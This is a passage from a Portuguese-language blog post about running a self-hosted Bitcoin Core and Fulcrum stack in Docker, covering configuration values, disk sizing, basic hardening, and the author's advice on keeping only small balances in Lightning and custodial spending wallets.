O user: "${BITCOIN_UID}:${BITCOIN_GID}" está ali por um motivo bem menos glamouroso e muito mais importante: storage persistente com permissão errada é um jeito excelente de quebrar serviço bom. Então eu prefiro alinhar o container ao ownership real do volume em vez de deixar isso implícito.

O dbcache=1024 é o ponto que eu acho mais sensato pra node doméstico sempre ligado. Grande o suficiente pra não ficar sofrendo em I/O o tempo todo, pequeno o suficiente pra não transformar cada restart num parto.

O txindex=1 eu mantenho porque quero o node completo, não uma instalação minimalista só pra dizer que “roda Bitcoin”. Se a ideia aqui é autonomia operacional, eu prefiro ter o índice completo.

O rpcworkqueue=512 e rpcthreads=16 são o tipo de ajuste que faz sentido quando você sabe que vai colocar Fulcrum perguntando pro node o dia inteiro e quer alguma folga.

No lado do Fulcrum, os parâmetros principais são:

• db_mem = 8192
• db_max_open_files = -1
• bitcoind_clients = 8
• worker_threads = 0
• peering = false

De novo: nada de esoterismo. Só cache suficiente, paralelismo razoável e nada de anunciar esse servidor como serviço público.

No meu bitcoin.conf atual, o núcleo importante ficou assim:

server=1
txindex=1
prune=0
rpcbind=0.0.0.0
rpcallowip=172.0.0.0/8
rpcthreads=16
rpcworkqueue=512
dbcache=1024
maxmempool=512

Tudo isso faz sentido num servidor com RAM decente e NVMe rápido. Mas o detalhe que mais importa continua sendo o shutdown limpo. Infra de wallet não tem espaço pra mentalidade de “depois a gente vê”.

O tamanho real disso tudo

Esse é outro ponto que muita gente subestima.

Se você olhar documentação mais antiga do Bitcoin Core, vai encontrar números como 350 GB de disco para um node com configuração padrão. Isso já ficou pra trás. Dados mais atuais do tamanho da blockchain apontam algo em torno de 725.82 GB em 11 de março de 2026, e isso é só a cadeia bruta, sem contar os índices extras que muita gente técnica vai querer manter.

E aqui entra a pegadinha: o stack que eu estou descrevendo não é “Bitcoin Core pelado só pra dizer que roda um node”. É bitcoind com txindex, mais Fulcrum, mais margem pra rebuild, logs, snapshots e crescimento normal da rede.

Por isso, pra montar algo parecido hoje, eu pensaria assim:

• abaixo de 1 TB: eu nem começaria
• 1 TB: mínimo pragmático
• 2 TB: faixa confortável
• acima disso: se você quer folga de longo prazo, snapshots e menos ansiedade operacional

E aqui vai a observação mais importante de todas em self-hosting: não assuma que persistência, montagem e backup estão certos só porque o YAML está bonito. Verifique de verdade.

Outra coisa que eu não esqueceria num host com btrfs: colocar o banco do Fulcrum (fulc2_db) em subvolume separado. O motivo é bem mundano. Esse diretório cresce, muda o tempo inteiro e não tem nada a ver com snapshot automático genérico de /var. Se você mistura tudo, acaba arrastando índice grande e reconstruível junto com snapshot de sistema, queimando espaço e deixando a manutenção mais irritante do que precisava. Índice do Fulcrum não é configuração delicada. É dado pesado, volátil e reconstruível. Eu trato exatamente assim.

Hardening: o que já deixei aplicado

Aqui é onde aparece a diferença entre “rodou no meu notebook” e “eu confiaria nisso pra operar minha carteira”.

No estado atual da stack, os pontos que eu considero importantes ficaram assim:

• o RPC do Bitcoin Core não depende mais de exposição desnecessária no host; o Fulcrum fala com o bitcoind pela rede interna do Docker, que é o que interessa de verdade
• 50001 fica restrita ao uso interno da LAN
• 50002 fica disponível com TLS, que é a forma certa quando você precisa sair do plaintext
• o shutdown é gracioso, com stop_grace_period: 5m, pra o bitcoind ter tempo de flushar estado em vez de morrer de qualquer jeito
• a montagem do storage não fica na base do “depois eu vejo”; existe checagem de mount antes do Docker subir, justamente pra evitar drift silencioso

Cada um desses itens existe por um motivo bem concreto.

Tirar o RPC da superfície do host reduz ataque sem custo nenhum. O Fulcrum já está no mesmo Compose e já consegue falar com o serviço pelo nome interno. Não existe ganho real em deixar essa porta aparecendo onde ela não precisa aparecer.

Separar 50001 e 50002 também ajuda a manter a casa em ordem. Dentro de LAN controlada, plaintext é aceitável. Fora disso, o mínimo razoável é TLS. Misturar os dois cenários costuma virar bagunça.

O stop_grace_period: 5m parece detalhe de container, mas não é. Quem já teve banco de dados, índice ou node de blockchain encerrado no tapa sabe o quanto isso vira horas de trabalho depois. Serviço stateful precisa de parada decente.

E a checagem de mount é uma daquelas coisas chatas que salvam você de si mesmo. O YAML pode estar lindo. Se o storage não montou e o serviço subiu gravando onde não devia, você acabou de fabricar um problema bem irritante.

Tem também um ponto que eu gosto bastante nesta versão final do stack: o Fulcrum autentica no bitcoind via arquivo .cookie, não via senha fixa em texto puro. Isso é interessante por dois motivos:

• você não precisa deixar credencial estática aparecendo em compose, inspect, healthcheck ou documentação
• a autenticação fica mais alinhada com o próprio jeito que o Bitcoin Core já sabe operar localmente

Em termos práticos, isso reduz vazamento acidental de segredo operacional. Não é uma solução mágica pra tudo, mas é muito melhor do que espalhar rpcuser e rpcpassword em arquivo, log e comando.

O único tipo de hardening que eu tento evitar aqui é o hardening performático demais no YAML e frouxo demais na operação. Eu prefiro menos “engenharia de palco” e mais disciplina básica:

• rede mínima
• segredo mínimo
• privilégio mínimo
• shutdown limpo
• storage verificado
• subvolume separado pra dado grande e reconstruível, como o índice do Fulcrum

E, de novo, documente tudo. Infra boa não é a que só funciona hoje. É a que continua funcionando quando você volta nela seis meses depois.

Por que isso melhora transações do seu lado

Quando eu monto uma transação na Sparrow e assino na Coldcard, a cadeia de confiança fica muito melhor definida:

• a chave privada não toca internet
• a wallet desktop não precisa confiar em servidor público
• o broadcast pode sair do meu próprio node
• o histórico de endereços não precisa ir parar em Electrum server de terceiro

Isso não torna nada invulnerável. Ainda existe risco de malware no desktop, seed mal armazenada, erro humano, engenharia social e desastre físico. Mas o desenho fica bem mais coerente.

E o Lightning? Especialmente no Brasil?

Aí eu separo as coisas.

Reserva e transação de valor maior eu trato de um jeito. Gasto cotidiano eu trato de outro.

Pra gasto cotidiano, especialmente no Brasil, eu acho burrice operacional carregar muito saldo em wallet quente. Wallet de Lightning e app de gasto têm que ser quase “carteira de bolso”: só o suficiente pro dia a dia.

Isso vale em dobro se você usar solução híbrida ou custodial, como RedotPay. Eu entendo por que ela é interessante pra brasileiro: empresa de Hong Kong, foco internacional, bridge razoavelmente prática entre cripto e gasto com cartão. Pra viagens, compra online e vida fora do eixo bancário brasileiro, faz sentido. Mas eu jamais trataria isso como lugar de guardar patrimônio. Isso é ferramenta de spending, não cofre.

Mesma lógica pro Bitrefill Brasil. Eu acho o serviço interessante justamente porque ele resolve uma dor real no Brasil: transformar sats em utilidade concreta sem vender toda posição nem depender de integração bancária o tempo todo. Gift card, recarga, pequenas despesas. Como ferramenta de uso, faz bastante sentido.

Pra wallet Lightning no celular, eu olharia primeiro para:

• Phoenix pra quem quer algo muito bom e simples
• Breez pra quem quer experiência boa de pagamentos
• ZEUS se você é mais técnico e eventualmente pretende operar seu próprio node Lightning

Todas elas, na minha cabeça, entram na categoria “carteira de bolso”. Saldo pequeno. Uso diário. Nada de transformar app de celular em cofre de aposentadoria.

Notícias recentes que reforçam esse raciocínio

Eu não monto esse tipo de stack porque acho bonito. Eu monto porque terceirização demais dá ruim com frequência demais.

Dois exemplos recentes:

• o hack da Bybit em 2025 mostrou, de novo, o risco básico de deixar custódia relevante em exchange
• o vazamento de dados de clientes da Coinbase em 2025 mostrou o outro lado do problema: mesmo quando a custódia não é o foco imediato, sua identidade, saldo e histórico viram superfície de ataque

Uma stack como Coldcard + Sparrow + Fulcrum + full node não elimina todo risco do mundo. Mas evita duas classes de problema bem reais:

• perder soberania de custódia
• entregar privacidade de carteira e transação de bandeja pra terceiros

Então vale a pena?

Pra maioria das pessoas, honestamente, provavelmente não no primeiro mês. É trabalhoso, tem curva de aprendizado, e exige disciplina.

Mas pra programador, engenheiro e qualquer pessoa técnica que quer aprender a não depender sempre de serviço alheio, eu acho um exercício excelente.

Você aprende sobre:

• separação de responsabilidades
• persistência e estado
• shutdown gracioso
• observabilidade
• isolamento de segredo
• trade-off entre conveniência e segurança

E tudo isso vale além de Bitcoin.

No fim das contas, é isso que mais me interessa nesse stack. Não é sair pregando “hyperbitcoinization” nem posar de profeta de preço. É montar um sistema em casa em que eu consigo confiar mais porque fui eu que instalei, medi, quebrei, consertei e documentei.

Dá trabalho? Dá.

Mas esse tipo de trabalho ensina exatamente o que software moderno tenta fazer você esquecer: depender menos dos outros dá mais trabalho no começo, mas costuma comprar muito mais controle no longo prazo.

Atualizado em 2 de abril de 2026: se você já tinha lido este texto ontem, vale pular direto para a nova seção de atualização.